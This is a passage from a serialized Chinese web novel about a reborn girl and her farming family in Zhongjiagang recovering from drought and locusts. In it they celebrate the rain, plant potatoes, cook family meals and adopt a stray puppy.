“还好，地里没庄稼，不然不知道要被祸害成啥样呢！”人都没得吃，庄稼被蝗虫祸害了，他们不得恼死。 回钟家岗的路上，几乎寸草不生，只能见着乱爬的蝗虫。 因为没东西啃，有些在啃断肢断翅的同类，那些被啃的还活着，因为无力反抗，只能痛苦的不断翻滚。 这玩意实在是有点邪恶，怪不得蝗虫属于变态昆虫，不止发育是变态发育，行为习惯也挺变态。 ‘嘎吱’一声，轮胎下陷，车子停在路中间。 “怎么样？你俩有把握考上不？”车轴卷了泥，没办法继续走，钟绍华下车清理泥巴，随口把话题扯到了刚结束的考试上面。 钟莹莹别的没把握，对这个还是有信心的，她一个学了两辈子的，还会考不上？不可能的。 “哥，你放心吧，一定能考上的，你就给我准备好学费吧！”开个玩笑而已，她娘早就给她把学费准备好了。 钟绍华乐了：“这么有自信的啊？行，你要考上了，学费哥给你出了，用哥的私房钱！” 钟莹莹瞥他一眼：“你还有私房钱啊？小心我回家告嫂子去！” 不是说好了老实人的吗？攒的钱不给老婆，竟然自己藏私房钱，钟绍华！你真的变了！跟前世那个老实倔强的小老头一点也不一样！ “你嫂子知道，她留给我零花的，男人手里哪能没点钱啊？”钟明月对他宽松的很，尤其是他结扎后，那更是骨子里的放心。 “秀秀怎么样啊？有信心吗？”两兄妹聊天，也不冷落楚秀秀。 楚秀秀笑的腼腆，话没钟莹莹说的那么死：“应当是有的吧？” 升校本部的高中应该没问题，但是中专分数比校本部的高中要高，她想上中专，和高家娣一样，想早点读出来赚钱。 弟弟是个傻的，姐姐嫁出去了，她八成是要留在家里招赘的，不多挣点钱，哪里能招来好丈夫？ “我们寝室都能考上的！”钟莹莹对小伙伴们都有信心，考了好几次模拟考，她们的成绩都是能达到理想院校的分数线的，只要不出意外，包成功的。 …… “好了，走，上车回家！”折腾了一头汗，终于把车轮从泥巴地里解救出来。 这路也太差劲了，一点也比不上他们村里的。 重新出发，钟绍华又提到黄有德的事：“莹莹，咱姐夫要升官了！” “前面抓的那伙人你记得吧？跨省作案的，手里还真有人命！” 第74章 “真的啊？” 钟莹莹其实知道，黄有德上辈子升官升的还挺高，她只是没想到，自己竟然能亲眼见证他的升官历程。 钟绍华敲了一下钟莹莹的脑瓜子：“那不保真的吗？你哥我骗你干嘛？” 他接着又道：“何止尧那小子，算是好命。” “来老万家那些人，好些个是他们半路怂恿的，就是正儿八经逃荒的人，除了打人的那个，还有砸东西抢东西那几个，都是半路搭伙上车的，没那么狠。” “要是后来那些人没加入，只有一开始的那些人，估计上来就给人弄死了！” 那伙人以前抢劫，不管大人孩子，都是直接杀了。 要不也不会上来就习惯性的给了何止尧一板砖。 警察查出来后，他们说，杀了省事，免得有人检举。 听着就让人心底发寒，简直畜生不如。 楚秀秀声音弱弱道：“不会吧？无冤无仇的，抢了东西就算了……怎么还杀人啊？” 出生在没有斗争的钟家岗，她仿佛就是温室里的小绵羊，除了杀年猪外，压根没有见过太血腥暴力的场面。 钟绍华笑了：“不会？人家可不管有仇没仇！” 他放低了声音继续道：“还有，你俩知道他们遇到你们这样的小丫头会怎么样吗？” “他们最喜欢的就是你们这些细皮嫩肉的小姑娘，欺负过了还能当两脚羊，知道两脚羊是什么吗？” “两脚羊，就是人，把人当成两只脚的羊，放锅里煮了，直接吃。”钟绍华其实一开始也不知道，这还是听黄有德说的。 见着天色渐暗，她看昏暗光线下的钟绍华，他的五官若隐若现，嘴角还挂着一丝诡异的笑容，嘴里喋喋不休的吐出令人惊恐的字眼。 楚秀秀缩了缩脖子，坐的离钟绍华远了些，显然是被吓到了。 怎么还有把人当羊吃的？外面太可怕了，呜呜～她想回家！ 她回头又看着边上坐着的钟莹莹，和自己不一样，钟莹莹脸上没有一丝害怕。 楚秀秀都怀疑自己是不是见鬼了，明明……那么可怕的事情，从她哥口中这么轻松的说出来…… 好在，很快就到家了。 一下车，楚秀秀连句谢谢也没有说，拎下行李，下了车之后就头也不回的跑回家去了。 钟莹莹给了钟绍华一拳头，没好气道：“哥，你看你把人吓的！” 钟绍华满脸无辜道：“我那是实话实说罢了！” “你俩多听听，也能多了解一些，以后出门小心些，外面坏人多！碰上何止尧那样的事，哭都没眼泪！” “不过话说又说回来，莹莹你咋不害怕？”两脚羊的说法，钟绍华自己听了都缓了好久才平静下来。 吃人啊！那么可怕的事情，不害怕就算了，他妹妹竟然一点也不惊讶。 钟莹莹鄙视他：“人傻就要多读书，两脚羊可不只有现在有，宋代就有了。” “年级大的，男的，多添把柴火，年轻的，妇女儿童，肉质嫩，没东西吃，就吃人。” 钟绍华大惊：“你从哪看的？课本上也没有这些内容啊？” 他这妹妹知道的也太多了！连做法都能说出个一二三来。 钟莹莹：“谁让你以前不好好学习，不知道了吧！县中有图书室。” 钟绍华无话可说，这确实无法反驳，他以前就是不爱学习。 陈显英路过，打断两兄妹的绊嘴：“你们兄妹俩说什么的呢？外面黑灯瞎火的，到处都是蚊子，不嫌咬的慌啊？” 和自己老娘吵嘴不是明智之举，钟绍华立马投降讨饶道：“娘，我们这不才刚回来吗？” 陈显英把车上钟莹莹的东西给拎下来，先给钟莹莹带走了，还不忘对儿子说：“等下把牛栓好，别忘了把架车子给拉回家去。” 明早还要用车拉种子呢！ 苦命的钟绍华，路上被蝗虫咬的满脸包不说，累了一天了，还得把架车子从牛身上解下来，给牛放到牛棚里，自己拉着车回家。 带着满身疲惫回到家，他老娘一罐薄荷膏就怼了上来。 陈显英嘴上嫌弃道：“你自己擦擦，或者让明月给你擦擦，脸都肿成猪头了，难看死了！” 薄荷膏是她自己做的，用猪油和家里种的野薄荷，还有野菊花那些，平常蚊虫叮咬就用这个抹。 消肿止痒效果很好，味道也很香。 就是天太热，猪油融化，与其叫薄荷膏不如叫薄荷油更加恰当。 钟新澄跟丽丽下午大片的蝗虫走后，他们抓了好些只喂给家里的鸡吃，这会*儿正围在钟莹莹跟前邀功呢！ “姑姑，姑姑，今天我抓了一百多只虫子呢！”钟新澄上蹿下跳的讨赏。 钟莹莹之前说了，放假给他带好东西。 丽丽也不甘示弱：“姑姑，我抓的比木木多！” 钟莹莹被俩孩子的热情吵的头都大了。 钟绍华那边却冷冷清清，无人问津，独自一人拿着薄荷膏往脸上擦。 钟明月见他擦的乱七八糟，老是擦不对地方，便接过薄荷膏，一点一点给他擦到患处上并揉开。 感受自己媳妇细心的照顾，钟绍华眯着眼睛咧开嘴道：“还是媳妇你好，不像那几个小混蛋，我的脸都肿成这样了，没一个关心我的！” 尤其是他儿子，从他回来，瞧都没瞧他一眼。 一直在那咕、咕、咕……咕个不停，太让人生气了！ 钟明月有点走神，不小心力道使大了些，钟绍华‘嘶’地倒吸一口凉气：“媳妇，你轻一些！” 这蚂蝗还怪毒的，以前不小心被咬到，也就只有痒，今天痒中还带点痛。 钟明月放轻动作，擦了一会儿，把他脸上还有脖子上的咬伤全都给擦好了，就把薄荷膏塞给他：“擦完了，手上还有胳膊上的等下你自己擦擦。” 说完便毫不留恋的转身去灶房，帮陈显英去端早就做好的饭菜。 一大桌子菜，钟绍华还擦着药呢就闻到香气了。 他张嘴就是：“娘，今天啥日子啊？以后不过了？做这么多好吃的？” 陈显英白了他一眼：“有的吃还不好？” “你妹妹刚中考完，搁学校饿的瘦了一大截，不得好好补一补？”钟伟先跟着帮忙摆碗筷。 钟绍华讪笑道：“我就这么一说！” 说是一大桌菜，其实也就一些家常菜式。 黄瓜炒鸡蛋、蒸咸鱼、还有今天刚宰的大公鸡做的辣椒炒鸡，以及夏天下饭必不可少的秘制小咸菜。 钟绍华洗了手，拿了一个饼子，刚咬一口，他又惊了，白面饼子！他都多久没有尝到纯白面做的饼子的味道了？此刻吃到嘴里竟然有些想流泪。 陈显英做这么多菜不单单是为了庆祝闺女中考结束，也是为了庆祝，这两年多过得苦日子终于要结束了！ 这一场大雨下了足足有一天一夜，干涸了两年的土地彻底吸饱了水分，鱼塘里，水渠里，都积了不少水。 河沟边上有野草野菜已经开始冒芽芽了，可惜的是那该死的蝗虫路过又给刚冒头的嫩芽芽啃了个精光。 不过没关系，只要有水，那些东西很快会再长出来的！ “真香！” 钟家一家人几乎来不及说话，都是一口接一口的往嘴里塞着食物。 辣椒炒鸡用的干辣椒，香辣入味，走地鸡的鸡肉又十分劲道，两者一结合，让人欲罢不能。 吃辣了，就嚼两口饼子，今年的新麦，满满的麦香味。 相比之下，咸鱼的味道就逊色了些，腌制食品还是没有新鲜的好吃。 不过他们也不挑，有肉吃还挑个什么啊？吃难道还堵不住嘴吗？ “嗝～”吃完饭，钟莹莹瘫坐在椅子上，摸着自己凸起来的小肚子，忍不住打了一个饱嗝。 太久没有吃这么爽了，吃完了有点想睡觉。 其他人的状态也和她差不多，一个个挺着肚子，瘫坐在小板凳上，完全丧失行动能力。 桌子上的饼子和菜都被吃了个精光，就连菜汁，都被用饼子蘸干净了。 歇了好一会儿陈显英才起身去收拾锅碗瓢盆，钟伟先跟着去帮忙。 钟绍华瘫着说：“爹、娘，天都黑了，今天就歇着吧，别忙活了！” “碗放着，明天早上我来洗！” 钟明月也跟着劝，陈显英也觉得乏了，就同意了，放下碗筷，她跟着也坐回到板凳上。 不想动，吃的太饱了。 屋里屋外都燃了很多薄荷叶，钟家没啥蚊子。 一家人就这么静静的瘫坐着，仿佛能瘫到第二天早上。 小孩子消化的快，钟新澄最先恢复战斗力，他又想起还没到手的小礼物，缠上了钟莹莹。 钟莹莹懒得动，就让他自己行李里找。 反正也没啥好东西，就是县里买的水果糖，小小一包，没多少颗。 给丽丽带的头花也在里面，钟莹莹懒洋洋道：“木木，里面手绢里包的头花你也给拿出来，那是给丽丽的！” 钟新澄不说话，他才不给丽丽那个坏丫头拿东西呢！ 丽丽来了精神，挤到钟新澄边上说：“姑姑，我自己找！” 小礼物到手，俩孩子终于心满意足，钟明芳过来接丽丽，丽丽也很老实的跟她回去睡觉了。 钟莹莹打了个哈欠，也去简单的洗漱下，回自己房间了。 这场接近三年的劫难终于过去，所有人都是打从心眼里高兴。 下了雨，有了希望，他们又能看到明天了！ 第75章 早上一起来，钟莹莹就觉得浑身不得劲，哪哪都痒。 她飘了，缺水的时候也不见得那么难忍。 如今一有水，休息过来精神恢复，便是片刻也不得忍。 害怕雨水不太干净，她将打来的水放到锅里烧开了，才在灶房凑合着洗了个澡。 几个月都没好好认真洗澡了，她左搓搓，右搓搓，搓下来不知道多少泥。 头发也用她娘收集的皂角搓了好几遍，以前家里有肥皂的，这两年，生活水平严重下降，为了省钱家里又用回了皂角。 好在这玩意他们村里不缺，要多少有多少，因为他们村人少，一棵皂角树的产量差不多够全村人用了。 皂角耐旱耐寒，对土壤要求不高，这三年也成功熬下来了。 倒是祖坟那有几棵白杨树倒下了，村里人也没浪费，把砍了，劈成柴，各家各户分了。 钟莹莹擦干发丝上的水珠，换上干净衣裳的那一刻，只觉得恍如隔世。 “姑姑，你早上洗澡干嘛？等会不还要干活吗？那晚上还得再洗，不嫌弃麻烦啊？”钟新澄等着吃饭，灶房一直被钟莹莹占着，等人一出来，他就小嘴叭叭的吐槽个不听。 “来，帮我抬一下水盆。”洗澡的盆子有点大，如果只有她自己，钟莹莹要一点点把脏水用小盆舀出去倒才行，钟新澄自己撞上来，她不使唤他使唤谁？ 好在钟新澄只是嘴上抱怨，对于钟莹莹的吩咐还是十分顺从的。 这两年养成的习惯，让钟莹莹想也不想的就想把水泼到地里浇菜。 姑侄俩一人一边，抬着满盆的脏水往灶房边上的菜地走。 抬到菜地边上傻眼了，被蝗虫啃过的地方稀稀拉拉冒出来几根苗，刚下过雨，地里湿的很，压根不需要浇。 没办法，俩人又抬着盆出了院子，把脏水给泼到院子外面去。 往回走的时候，钟新澄挨着钟莹莹钟莹莹老感觉鼻腔里能闻到些怪味像是什么东西馊了。 瞅了一圈，她盯上了钟新澄：“木木，你是不是臭了？” 钟新澄闻闻了自己的胳膊，不满的反驳道：“哪有？我干净着嘞！娘上个星期才给我擦过澡嘞！” 上星期？这大夏天的，能不馊吗？都腌入味了！ 钟莹莹把自己的手伸到他鼻子下面：“你闻闻我的手，再闻闻你自己的！” 钟新澄照做了，他贴近钟莹莹的胳膊嗅了嗅，香香的，然后回头又闻了闻自己：“呕～好臭！” “呕～我也要……洗澡！” 锅里剩下的还有点热水，他拎着盆跑回灶房，也顾不上肚子饿了，兑好水，一溜烟的脱下衣服，直接撩起水就开始洗身上。 洗了一会儿忽然想起，他好像忘了一件事，没拿衣服和毛巾，洗完总不能光着出去，他都是大孩子了，那多丢脸啊！ 他张嘴便喊：“姑姑，你帮我拿一下衣服，还有毛巾。”他想，幸好有姑姑在。 钟莹莹去钟绍华那屋，别的东西没碰，在衣柜里找了他的衣服还有毛巾就给拿过来了。 姑侄俩又重复了一遍刚开始的流程，把污水倒出去。 收拾完东西，从竹罩子下面找出大人给他俩留的饭，端到堂屋桌上刚开始吃，丽丽就来了。 钟新澄一反常态的放下碗筷，跑到丽丽身边闻了闻，接着纳闷的说：“你怎么不是臭的？” 这不公平，自己是臭的，为啥旁人都是香的。 丽丽懒得理他，又不想看着他污蔑自己，便没好气道：“你以为人人都像你，不爱干净，昨天我娘带我回家就给我洗了个澡！” 钟新澄不迷惑了，他干巴巴夸道：“那你还挺有精神？” 昨天吃那么撑，困的他压根不想动，灯一灭他就呼呼大睡，醒来就这个点了。 “都过来吃饭吧，别说了！吃完饭还要干活去呢！”钟莹莹拉过侄子侄女，让他们一人坐在饭桌的一边。 丽丽刚想拿筷子，忽然又停下了：“姑姑，我吃过饭了！” 钟莹莹给她塞了一个鸡蛋：“吃过了就再吃一点，小孩子长身体呢！” 早上钟莹莹还没起床的时候就听她娘嚷嚷，家里的小母鸡昨天喂的虫子多，今天个个都下了两颗蛋。 陈显英在吃食上不是个抠门的，家里有的，那孩子们一定能吃到嘴。 丽丽也不客气，她也觉得还能再吃点，她剥开鸡蛋，小口小口的品着。 钟莹莹又给她分了小半碗稀粥，干吃蛋有点噎挺，配点粥顺一顺。 就这样已经吃过早饭的丽丽，在她姑姑这又混了一顿饭。 吃完饭就得干活。 大人们都去挖地撒稻种去了，这场雨来的迟，如果来的早一点，他们这时候已经可以插秧了。 不过也不晚，现在立马就种，气温高，稻种发芽的也快，晚一个月插秧，秧苗会小一些，也不碍事。 钟莹莹他们三个今天的工作就是根据芽点，把发芽的土豆切块，再在切口处蘸上草木灰。 草木灰不能太多，也不能太少，太多影响土豆吸水，太少达不到抑菌作用，土豆块一样会腐烂。 村里的孩子做这些都很熟练，就是钟新澄和丽丽也能很快上手。 刀子有点危险，土豆是钟莹莹切的。 一个切，两个蘸，没一会儿一大筐发芽土豆就被处理完了。 看外面日头正晒，钟莹莹把土豆块摊开到柴房阴凉处的地上，让它们分开晾一晾，这也是为了让切口结痂，减少腐烂风险。 处理完一切，钟莹莹又带着两小只准备做饭。 家里大人在地里忙活一上午，总不能他们这些一觉睡到太阳晒屁股的，还等着让他们回来做饭吧？ 昨天吃的好，也不能天天吃的好，地里的粮食才刚种下去，不知道啥时候才能长成呢，该省还是得省。 又是浑水摸鱼的偷渡了一点点粮食出来，加到家里剩下的代用粮里，搅和成了面团。 之前摘的白茅根，她没事就嚼点，嚼到现在还有点余粮，不管了，做完饭，加到锅里，放水煮，家里还有点绿豆，也加里面。 搅和搅和，把绿豆煮烂，停止加柴，等待自然冷却。 钟莹莹盛了一碗，尝了一口。 不错不错，白茅根配绿豆，清甜又解暑。 她做饭的时候，钟新澄和丽丽就轮流烧火。 今天没炒菜，热的时候吃点酸辣的更开胃，钟莹莹从酸菜坛子里捞了点酸豆角还有酸辣椒，切完直接放到碟子里。 简简单单又是一餐。 饭都做好了，人还没回来。 见门口有苍蝇找上门，钟莹莹又去取了艾草和薄荷，点燃了跟钟新澄和丽丽一人拿着一把，熏遍了院里院外。 ‘呱！呱！呱……’院外传来不知道是青蛙还是癞蛤蟆的叫声。 钟新澄被勾引到，循着声音一路找过去，他一动那声音就停了，他一走那东西又开始继续叫，最后也没找到是什么东西在叫，无功而返。 钟莹莹也奇怪，好久没听到这些东西叫了，河沟都干了这么久，她以为都死绝了呢！这一下雨又全都冒出来了。 没等到大人回来，倒是邻居上门了。 何止尧拿了一个小背篓，背篓里装了不知道啥东西。 等他过来，把东西放下，把背篓打开，钟莹莹才发现里面放了一只小奶狗。 她们村没人养这些了，尤其这一年，人都养不活了，更别提猫啊狗啊的，何止尧又是从哪里弄来的这一只小狗崽子？ 很快何止尧就自己解释了：“这小狗是我在沟边上捡的，也不知道哪来的，没见着其他狗，只有这一只小的在那里。” “之前要不是英婶，我可能都被打死了，所以我想拿点东西来谢谢你们。” “我又没有什么好东西，就只有这只狗，想看你们要不要！”他自己都在寄人篱下，老万能养着他，不能还帮他养着狗吧？ 这狗钟家人是拿去吃，还是拿去养，他都认了。 何梦婷躲在远处眼泪汪汪的看着他哥把狗送出去，她想养，可她哥说，他们连自己都养不活，不能拖累别人，留在家里，养不活，还可能会被吃掉。 她再不舍，也只能放手。 她现在只希望小狗能找一户好人家，钟家比她跟**子过得好，应当不会把小狗吃掉的吧？ 钟莹莹不知道是该收还是该拒绝，荒年给人送小狗，是报恩还是结仇啊？ 她还没说话，她的好大侄就替她做了决定。 “姑姑，狗狗，我们养！” 无辜的豆豆眼，柔软的皮毛，摸它它也不咬人，还会舔人手，热乎乎的，没有一个小孩能拒绝！ 丽丽也想要养，侄子侄女同时祈求自己，钟莹莹能有什么办法呢！那当然是留下来了！ 她也想养一只小狗，有水了，粮食很快就能长出来，平常少吃一口饭，应当能养活的吧？ 送完狗子，何止尧就离开了。 钟莹莹撸了几把狗子，又想起等会儿家里人回来还不知道要怎么交代。 见钟新澄和丽丽还在玩狗，她不想挨骂，便蹲下挨着他俩：“等会儿爷爷奶奶回来，你俩知道怎么说吧？” 钟新澄和丽丽异口同声道：“知道，就说我们都想养狗狗！” 钟莹莹满意的点点头，孺子可教也！ 在外累了半天的钟家大人们还不知道家里的孩子们给他们准备了这么大一个‘惊喜’！ 第76章 “人家都没饭吃，你们仨倒好，给我整回来只狗？” “说吧，想干嘛，你们三个！” 只有两个小的，不会那么大胆，必定是三人一起作案。 “奶奶，就留下小狗吧！”钟新澄扭扭捏捏的过去撒娇。 以前大胆又活泼，什么事都敢干，过了两年多的苦日子，倒是变得成熟稳重些，起码知道什么是不好意思了。 “奶奶，留下它吧，以后我少吃点饭，我从我娘那也拿点饭回来养小狗！”丽丽言辞恳切，两只手合在胸前做拜拜手势。 陈显英转头看她闺女：“你呢，不说话？” 钟莹莹讨好道：“娘，我也可以少吃点！” 她娘就跟她肚里的蛔虫一样，她想什么她娘都知道，看她娘嘴皮子有点干，她跑进灶房端了一碗东西出来。 “娘，您先喝口水，歇一会儿。”钟莹莹双手奉上自己熬的茅根绿豆水，简直把狗腿子做到了极致。 陈显英斜睨她一眼，接过碗喝了一口水，甜滋滋的消暑汤，抚平些许心上的烦躁，她接着开口道：“还少吃？你们仨哪顿少吃了？” 为了只狗，什么鬼话都能说出来。 姓何的那小子也是，送什么不好，送条狗过来？让她是留下养？还是留下宰了吃？ 换个人家，指定就宰了吃了，狗子再小也是一盘肉，肉多难得啊！ 这狗子也不知道咋养的，还肥嘟嘟的，也不知道咋躲过人活到现在的。 钟伟先给她捏捏肩，在中间打圆场：“孩子们想养，你就让他们养吧！一只小狗崽子，吃不了多少饭，能不能活下去还不一定呢！” 村里以前养猫狗就是给口饭吃，有时候连饭都不给，让它们自己出去找东西吃，所以只有少数的幸运儿才能长大。 陈显英拍开他的手，刚消下去的火气重新涌上心头：“好人都教你当了，就我是坏人是吧！” 她气得换了一个离钟伟先远一点的板凳坐下，破罐子破摔道：“养吧！养吧！等哪一天让人捉去了才好呢！” 以前是养狗看家，现在养狗就是招人眼红，让人去偷的。 钟伟先搬着板凳又坐到她身边去，他接着开口道：“哪有这么多小偷？咱家每天都断不了人，村里又没有坏人！” “再说了，外村的人哪还有敢来我们村找事的？不怕一枪崩了他们啊！” 钟家岗的‘好’名声已经响彻附近所有的村子，没人不知道，他们村的人怒发冲冠，直接生擒了一伙犯罪分子。 而且有人传谣言：‘钟家岗人人都有枪，连三岁的小娃娃都能拿枪打人！’ 钟伟先听了只想说：他们这是诽谤啊！村里才没有那么多枪，顶多就是每家一两把，外加几颗雷子罢了。 时过境迁，那些雷子也不知道还能不能引爆，和平年代，它们好像已经再无用武之地。 可恨啊，当初没把他们的全部拿去炸小本子，多炸死一个也赚一个。 有点跑偏了，钟伟先把思维拉回当下，继续哄着他媳妇：“等下我去找根链子，把狗栓到柴房里，不给人看见，那么小一只狗，不会有人惦记的。” 钟新澄和丽丽也凑近了，用忽闪忽闪的大眼睛看着陈显英，仿佛在祈求道：奶奶，让我们养它吧！ 这陈显英哪还招架的住啊，她捂着心口道：“行了，让你们养了，跟爷爷找链子去吧！别杵我跟前这像个猴一样了！诶呦，都是冤家啊！我现在看见你们就头痛啊！” 养狗路上最大的阻力被消除，钟新澄跟丽丽立马高兴的跳起来。 他俩去找链子前还不忘各自亲陈显英一口，童声童语的说：“谢谢奶奶！” 陈显英擦擦脸上的口水，骂道：“真是的！一点出息也没有，一个个都多大人了！还撒娇，糊我一脸口水！” 钟家之前没养过狗，并没有合适的链子，最后是用钟新澄小时候的一条烂到不能再烂破裤子给狗子缝了一个项圈，又把剩下的布料裁成细条，用针线缝好，做成了一条狗绳，系在了狗脖子上。 狗崽子现在还小，这点手段已经足够将它稳稳栓在屋里。 钟新澄又缠着钟伟先给狗子编了一个竹窝，原先是找他爹编的，他爹不会，他大失所望后又找上了他爷爷。 丽丽也从家里偷来她小时候穿的小兜兜，拿来给小狗垫在窝里。 钟莹莹提供了一个笔洗，废品站淘来的，她也不写毛笔字，正好那笔洗浅的很，给小奶狗当食碗刚刚好。 等陈显英发现的时候，柴房一角属于小狗的家已然搭建完成。 看着舒适的窝在小窝里的小黄狗，陈显英刀子嘴豆腐心的骂了一句：“你这小狗命倒是好，有人给你做窝，还有人给你喂饭！” 她就是那个喂饭的，几个孩子天天睡到日上三竿，这小狗就这么饿着，她要不喂，等他们几个，还不饿死它啊！ 再说了小孩子下手没轻没重的，胡乱喂下去，这狗子迟早是没命的料。 陈显英告诉自己说，她才不是喜欢狗，她都是被迫的，要是小狗死了，那几个孩子指不定要这么闹呢，她只是不想见孩子哭，对，就是这样！ 拿起狗碗，往里倒上一点杂粮糊糊，小狗立马哼哼唧唧的过来抱住她的腿，想要往上攀爬，陈显英把它推下去，它又爬上来。 陈显英气笑了，她用手指点着小狗的脑袋，给狗身子戳的一晃一晃的：“你这小狗怎么一点耐心都没有？又不是不给你吃？” 说罢，她放下狗碗，双手拖住狗身子，给它调了个头，让它对着食碗。 狗子看见饭便欢快的把尾巴摇成螺旋桨，一头扎进了饭碗里，吧唧吧唧吃的飞快，一边吃，一边不忘冲着陈显英哼唧，似乎是在喊她：‘这个好吃，人！你也来吃！’ 小小的一团，撅个屁股，在人眼前晃啊晃。 陈显英顿时感觉心脏被击中，心软软的，她压低了声音道：“我不吃，你自己吃吧！” 盯着狗子吃了好一会儿，马上要去地里干活了，陈显英才从狗子的美貌中挣脱出来。 刚一站起身，准备离开柴房，就看见自家三个孩子站在柴房门口，端着一小碗吃的，不知道已经来了多久，一个二个正目瞪口呆的看着自己。 她落荒而逃，只留下一句：“奶去干活了，狗早上喂过了，你们不要再喂了！” 这几个孩子平常都起的老晚了，怎么今天起的都那么早，想到自己口是心非的样子被孩子给看了去，陈显英就觉得脸有些热。 被几个孩子发现她偷偷摸摸玩狗，老脸都丢尽了。 被留在原地的三个人呆呆的占了好久。 钟新澄愣愣的开口：“我没看错吧？刚刚那个是奶奶？不是爷爷？” 奶奶不是不喜欢小狗，不想让他们养小狗吗？怎么还带偷偷背着他们喂小狗的？ 丽丽有些怀疑他的智商：“你是不是傻？连自己奶奶都不认识了？” 爷爷是短头发，奶奶是长头发，这怎么会认错呢？ 钟新澄还是不敢相信，他喃喃道：“可是……”奶奶昨天不是这个样子的啊？ 钟莹莹接受速度倒是很快，她就知道，没有一个人会拒绝软乎乎的小狗。 前世不是有个说法吗？你只管把猫/狗带回家，剩下的交给它们就行，等你再回家就会发现，他们已经取代你的地位，成为这个家新的孩子。 她娘又不是什么心狠手辣的人，隔壁家的孩子都能顺手照看一下，自家的狗子那么可爱，俘获她早晚的事。 ‘咕～咕～咕～’ 是钟新澄的肚子在叫，他饿着肚子呢！ 闻着手里散发着食物香气的粥，他咽了一下口水，自言自语道：“阿黄已经吃过饭了，那剩下的饭我就自己吃叭！” 狗子的名字是他们三个一起取的，因为是条小黄狗，就取名叫阿黄，简单粗暴的很。 这小半碗饭是他从家里给留的饭里硬掰出来的，他自己还没吃饭呢，就乐颠颠的给阿黄来送饭了！ 就着碗边，也不用筷子，钟新澄呼噜呼噜几口就给碗里的粥喝完了。 钟莹莹看他喝粥，自己也饿了，大手一挥，指挥两个孩子：“走！让狗狗自己吃饭，我们也吃饭去！” “吃完饭等下去地里帮你们奶奶干活去！” 湿润的土壤晾了两天，如今已经可以开始耕种了。 钟家岗的土地可不只有种植水稻的水田，钟土豆红薯的旱地也不少。 被前两年吓怕了，今年要种的土豆可不少。 吃完饭，随手把碗洗了钟莹莹甩甩手上的水，锁好自家的堂屋门，还有院门，就拎着小锄头带着俩好大侄去地里了。 经过几天的发展，田边水边都不再是以前光秃秃的模样，矮小的杂草生长的很快，起码挨着沟边那一圈已经是绿油油一片了。 钟莹莹他们仨到的时候，村里人正热火朝天的挖坑起垄呢，他们来的正是时候。 大人个高，弯腰放发芽的土豆块不方便还累腰，小孩子干这事就很得心应手。 第77章 走过一垄垄土坑，把土豆种挨个放里面，芽点朝上。 等孩子们把土豆种放好，大人们就跟在后面把土覆上，双方配合的十分默契。 钟莹莹才干了一会儿就累的满头大汗，天实在太热了。 他们又赶工期，没办法，只能硬着头皮继续往下干。 汗水顺着额头，流过脸颊，再钻进脖子下面，反反复复，有点蜇人。 好不容易到了中午，扛着工具回家。 家里没人，得做饭。 钟莹莹想帮忙也有心无力，她躺在长条板凳上，真的一点力气也没有了。 种地？种什么地？什么是种地？ 刨坑还是挖土？土里有蚯蚓，肉色的，身上带着粘液，还有环状的生殖带，今天在地里就见到几只，简直让人头皮发麻。 这玩意每次一下雨，就像那除不尽的野草一样，不知道从哪就冒出头来了。 地干，它们估计也不好受，不然像以前，一下暴雨，雨停之后路的两边全是密密麻麻的蚯蚓缠绕在一起，有死的，有活的。 那画面，啧啧啧，无法回忆！ 钟莹莹觉得她还是当个读书崽比较好，老实上高中考大学，毕业以后等分配，大概率能分到他们县的某个事业单位。 搞个清闲的岗位，不接近政治和权利，苟过这几年，她以后的日子轻轻松松就能好起来。 到时候把家里的房子修一修，买点高科技产品，在乡下住着，不知道该有多舒服。 “莹莹，起来吃饭了！”陈显英做好饭，过来拍拍她的胳膊。 梦境被打碎，钟莹莹的思绪回到现实，她双目无神的躺在长条凳上，一动不动。 钟伟先看了笑着感慨：“今天活太多了，给孩子累坏了！” 以前也没有这么着急过，都是日头一上来就回家歇着，然后等下午稍微凉快点了再出来干活。 这次顶着大太阳干活，遭老罪了，别说孩子，他们这些大人都有些招架不住。 但抢种就这样，没办法。 陈显英嚷嚷道：“累成这样，下午就搁家歇着吧，没事还能烧个饭，别上地里活没干多少，人给累坏了！” 钟绍华也很赞同，他家都有四个大人去地里干活了，小孩子在家休息休息也没啥。 天太热了，要是凉快点了还能让他们干，那么热，中暑了治都不好治。 听说有中暑后脑瓜子变得不灵光的，家里这仨都在念书，脑子坏了得不偿失哦。 钟莹莹午饭是没吃的，实在是太疲劳了。 那俩大侄也累瘫了。 三个人就这么睡了个午觉，直接睡到下午。 睡醒起来钟莹莹感觉浑身酸痛，胳膊都很难抬起来。 长久不干体力活的人，猛的一干农活就容易这样。 她又想躺回去了。 但是想到还在地里干活的爹娘哥嫂，她又挣扎着起来，去灶房里舀了一瓢凉水，洗了把脸，努力让自己清醒过来。 胳膊使不上力，弯腰腰也痛。 钟莹莹把俩大侄都喊起来，别睡迷糊觉，到时候晚上睡不着。 钟新澄跟丽丽就这么困的眼睛半睁半闭来到灶房，给钟莹莹烧火。 晚饭没搞太复杂的，就做了一锅菜糊涂。 把水烧开，把搅匀的代用粮面疙瘩倒进锅里，用勺子搅散，再打两颗鸡蛋，撒一把菜叶子，放点盐，挖一勺猪油进去，搅一搅，简简单单一餐饭就做成了。 饭好了，俩大侄也彻底清醒过来。 个个洗了脸，坐到桌前等大人回来再开饭。 趁着太阳落山，天气凉快，钟家岗的村民这次干活干的比较久。 钟伟先他们回来的时候天已经擦黑了。 正好，锅里的菜糊涂也降到合适的温度。 都不用等它凉，盛出来就能吃。 随陈显英，钟莹莹做饭也很实在，自家人吃，都是干体力活的，不来虚的，扎扎实实的菜糊涂，吃下去顶饱的很。 一回到家就有现成的饭菜吃，不用等，钟伟先很满足的说：“看吧，我就说让孩子在家别去地里干活有好处！” 留孩子看家，还不用担心家里遭小偷，而且家务活也有人干，什么洗碗洗衣服摘菜做饭，三个小家伙都能干。 农闲的时候自然不用他们做这些，这一忙起来，大人顾不上干这些杂活，小家伙们能帮一点是一点。 吃完饭，丽丽跟钟新澄帮着洗碗，钟莹莹把锅上沾的一点点菜糊涂给刮干净，差不多也凑了小半碗，倒到阿黄的食碗里，让它也美美的饱餐了一顿。 种完土豆子又下了一场不大不小的雨，河沟边上的野芹菜疯长，地头的马齿苋也冒出来一大堆。 自家种的菜倒还是幼苗状态。 有野菜指定是先吃野菜。 钟家岗的人没有竭泽而渔，只是把野芹菜还有马齿苋的茎连着叶一块割下来，根还留着。 要不是之前芦苇荡那边的芦苇啥的都枯死了，新长出来的也就只有一个小尖尖，刚冒出水面，他们还能再采收一波茭白和芦笋。 